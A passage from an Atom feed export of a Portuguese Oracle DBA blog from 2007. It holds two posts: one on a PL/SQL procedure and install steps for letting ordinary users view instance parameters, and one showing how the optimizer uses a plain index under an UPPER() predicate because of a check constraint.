number(7);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    l_outval varchar2(512);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    l_outtyp varchar2(30);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    l_name   varchar2(32)  default '%' || p_name || '%';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    dbms_output.put_line(chr(10));&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    dbms_output.put_line(rpad('Name', 36, ' ') ||' '||&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;      rpad('Type', 10, ' ') || ' ' || rpad('Value', 36, ' '));&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    dbms_output.put_line(rpad('-', 36, '-') ||' '||&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;      rpad('-',10,'-') || ' '|| rpad('-', 30, '-'));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    for x in (select name, type from my$parameter where name like l_name order by 1 )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       if ( p_debug ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          dbms_output.put_line(chr(10)||'Before DBMS_UTILITY (' || x.name ||', '|| x.type ||')');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       end if;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       l_return := dbms_utility.get_parameter_value(trim(x.name), l_intval, l_strval);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       if ( p_debug ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          dbms_output.put('After DBMS_UTILITY: ');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          dbms_output.put_line(l_return || ', ' || l_intval ||', '|| l_strval);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       end if;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       select decode(x.type, 1, 'boolean'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                           , 2, 'string'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                           , 3, 'integer'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                           , 4, 'file', to_char(x.type)),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;              decode(x.type, 1, decode(l_intval,1,'TRUE','FALSE')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                           , 2, l_strval&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                           , 3, to_char(l_intval), l_strval)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         into l_outtyp, l_outval&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         from dual;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       if ( p_debug ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          dbms_output.put_line('Did decode ');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       end if;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       dbms_output.put_line(rpad(x.name,36,' ') ||' '|| rpad(l_outtyp, 10, ' ') || ' ' ||&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                l_outval );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       if ( p_debug ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          dbms_output.put_line(rpad('-', 78, '-'));&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       end if;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;E os procedimentos para instalação&lt;br /&gt;Instruções&lt;br /&gt;- O usuário dono da procedure deve ter direito de acesso (direto) a v$parameter.&lt;br /&gt;- Criar uma view da v$parameter.&lt;br /&gt;- Criar a procedure e dar privilégio de execução para PUBLIC.&lt;br /&gt;- Criar um sinônimo público da procedure.&lt;br /&gt;- Testar.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; connect / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt; grant select on v_$parameter to ops$marcio;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Grant succeeded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys:LX10G&gt; connect /&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create view my$parameter as select * from sys.v_$parameter;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;View created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; alter procedure show_parameter compile;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Procedure altered.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create or replace public synonym show_parameter for show_parameter;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Synonym created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; connect scott/tiger&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;scott:LX10G&gt; show parameter dump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-00942: table or view does not exist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;scott:LX10G&gt; exec show_parameter( 'dump' )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Name                                 Type       Value&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ---------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;background_core_dump                 string     partial&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;background_dump_dest                 string     /oracle/admin/lx10g/bdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;core_dump_dest                       string     /oracle/admin/lx10g/cdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;max_dump_file_size                   string     UNLIMITED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;shadow_core_dump                     string     partial&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;user_dump_dest                       string     /oracle/admin/lx10g/udump&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Tem até debug.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;scott:LX10G&gt; exec show_parameter( 'dump', &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;true&lt;/span&gt; )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Name                                 Type       Value&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------ ---------- ------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Before DBMS_UTILITY (background_core_dump, 2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;After DBMS_UTILITY: 1, 7, partial&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Did decode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;background_core_dump                 string     partial&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Before DBMS_UTILITY (background_dump_dest, 2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;After DBMS_UTILITY: 1, 25, /oracle/admin/lx10g/bdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Did decode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;background_dump_dest                 string     /oracle/admin/lx10g/bdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Before DBMS_UTILITY (core_dump_dest, 2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;After DBMS_UTILITY: 1, 25, /oracle/admin/lx10g/cdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Did decode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;core_dump_dest                       string     /oracle/admin/lx10g/cdump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Before DBMS_UTILITY (max_dump_file_size, 2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;After DBMS_UTILITY: 1, 9, UNLIMITED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Did decode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;max_dump_file_size                   string     UNLIMITED&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Before DBMS_UTILITY (shadow_core_dump, 2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;After DBMS_UTILITY: 1, 7, partial&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Did decode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;shadow_core_dump                     string     partial&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Before DBMS_UTILITY (user_dump_dest, 2)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;After DBMS_UTILITY: 1, 25, /oracle/admin/lx10g/udump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Did decode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;user_dump_dest                       string     /oracle/admin/lx10g/udump&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-7194651000725677808?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/7194651000725677808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=7194651000725677808' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/7194651000725677808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/7194651000725677808'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/mostrar-parametros.html' title='Mostrar Parametros'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-897392311207404800</id><published>2007-04-11T14:21:00.000-03:00</published><updated>2007-04-11T15:04:23.820-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Feature'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Constraints e CBO</title><content type='html'>Quem nunca ouviu dizer, que devemos evitar o uso de funções em comparações na clausula WHERE, porque podemos invalidar o uso de índice caso esse exista. É uma boa prática de programação e o que vou demonstrar abaixo não a invalida, porém, mostra a capacidade do otimizador em identificar as informações que damos a ele e como é importante alimentarmos o Oracle com as constraints (primary key, not null, foreign key, checks, etc).&lt;br /&gt;&lt;br /&gt;Iniciamos o teste com um tabela com aproximadamente 52 mil registros, nela, haverá duas &lt;span style="font-style: italic;"&gt;constraints&lt;/span&gt; - uma &lt;span style="font-style: italic;"&gt;primary key&lt;/span&gt; (o_id) e um &lt;span style="font-style: italic;"&gt;check&lt;/span&gt; (oname),  também haverá um índice normal na coluna (oname). Depois de coletar as estatísticas, farei uma consulta com o predicado UPPER(oname) = 'valor' cujo o uso invalidaria o indice, porém em nosso exemplo, o otimizador sabe que a coluna não permite nulo e só permite valor em UPPER case, então ele faz a dedução e &lt;span style="font-weight: bold;"&gt;decide usar o índice&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Essa capacidade de entender e decidir usar o índice já está valendo desde a versão 9i. Juntamente com essa demonstração, gostaria de mostrar algumas melhorias que vieram com o 10g. Na demo, há uma query principal que faz a projeção das colunas que estou selecionando e uma subquery, onde busco o predicado UPPER e o max( da primary key ). Agora é possível nomear as subqueries e as queries de uma sentença com o hint &lt;span style="font-style: italic; font-weight: bold;"&gt;/*+ qb_name() */ (Query Block Name)&lt;/span&gt; e a partir dessa mesma versão, o dbms_xplan dá mais informações, inclusive dos nomes destas queries.&lt;br /&gt;&lt;br /&gt;Preparando o exemplo e coletando estatísticas&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table t (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2          o_id            number constraint t_pk primary key,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3          oname           varchar2(30) not null,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4          padding         varchar2(200),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5          constraint t_chk_oname check ( oname = upper(oname) )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6  );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create index t_i1 on t ( oname );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Index created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; insert /*+ append */ into t&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  select object_id,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3         substr(upper(object_name),1,30),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4         lpad('x',200,'x')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5    from dba_objects&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;51925 rows created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2          dbms_stats.gather_table_stats(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3                  user,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4                  'T',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5                  cascade =&gt; true&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6          );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Limpar a plan_table&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; delete from plan_table;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;6 rows deleted.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; commit;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Commit complete.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; explain plan for&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  select &lt;span style="font-weight: bold;"&gt;/*+ qb_name( principal ) */&lt;/span&gt; *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3    from t t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4   where o_id = ( select &lt;span style="font-weight: bold;"&gt;/*+ qb_name ( maxid ) */&lt;/span&gt; max(o_id)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5                    from t t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6                   where &lt;span style="font-weight: bold;"&gt;upper(oname)&lt;/span&gt; = 'ALL_OBJECTS' )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Explained.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Acima está o exemplo. Note o upper(oname) na linha 6, isso normalmente invalidaria o índice, mas como pode ser visto abaixo, ele usou o índice T_I1, que está relacionado a esta coluna (oname), sem que o índice fosse do tipo FBI (Function Based Index), ou seja, eu não preparei um índice especial para que ele assumisse, não, o índice é um b-tree normal. Note também, os argumentos &lt;span style="font-style: italic;"&gt;null, null, 'ALL'&lt;/span&gt; que passo para o dbms_xplan.display, isso é novo no 10g e abaixo, repare nas 3 seções que o resultado traz, deixa bem mais fácil a vida da pessoa que está trabalhando com otimização de queries inclusive com os nomes das queries que usei apenas para ilustrar o exemplo.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select * from table( dbms_xplan.display( null, null, 'ALL'));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PLAN_TABLE_OUTPUT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Plan hash value: 2855282288&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| Id  | Operation                      | Name | Rows  | Bytes | Cost (%CPU)| Time     |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   0 | SELECT STATEMENT               |      |     1 |   229 |     4   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   1 |  TABLE ACCESS BY INDEX ROWID   | T    |     1 |   229 |     2   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  2 |   INDEX UNIQUE SCAN            | T_PK |     1 |       |     1   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   3 |    SORT AGGREGATE              |      |     1 |    30 |            |          |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   4 |     TABLE ACCESS BY INDEX ROWID| T    |     1 |    30 |     2   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  5 |      &lt;span style="font-weight: bold;"&gt;INDEX RANGE SCAN          | T_I1 &lt;/span&gt;|     1 |       |     1   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Query Block Name / Object Alias (identified by operation id):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   1 - PRINCIPAL / T1@PRINCIPAL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   2 - PRINCIPAL / T1@PRINCIPAL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   3 - MAXID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   4 - MAXID     / T2@MAXID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   5 - MAXID     / T2@MAXID&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Predicate Information (identified by operation id):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   2 - access("O_ID"= (SELECT /*+ QB_NAME ("MAXID") */ MAX("O_ID") FROM "T"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;              "T2" WHERE "ONAME"='ALL_OBJECTS' AND UPPER("ONAME")='ALL_OBJECTS'))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   5 - access("ONAME"='ALL_OBJECTS')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       filter(UPPER("ONAME")='ALL_OBJECTS')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Column Projection Information (identified by operation id):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   1 - "O_ID"[NUMBER,22], "T1"."ONAME"[VARCHAR2,30],&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       "T1"."PADDING"[VARCHAR2,200]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   2 - "T1".ROWID[ROWID,10], "O_ID"[NUMBER,22]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   3 - (#keys=0) MAX("O_ID")[22]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   4 - "O_ID"[NUMBER,22]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   5 - "T2".ROWID[ROWID,10]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;39 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-897392311207404800?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/897392311207404800/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=897392311207404800' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/897392311207404800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/897392311207404800'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/04/quem-nunca-ouviu-que-devemos-evitar-o.html' title='Constraints e CBO'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' 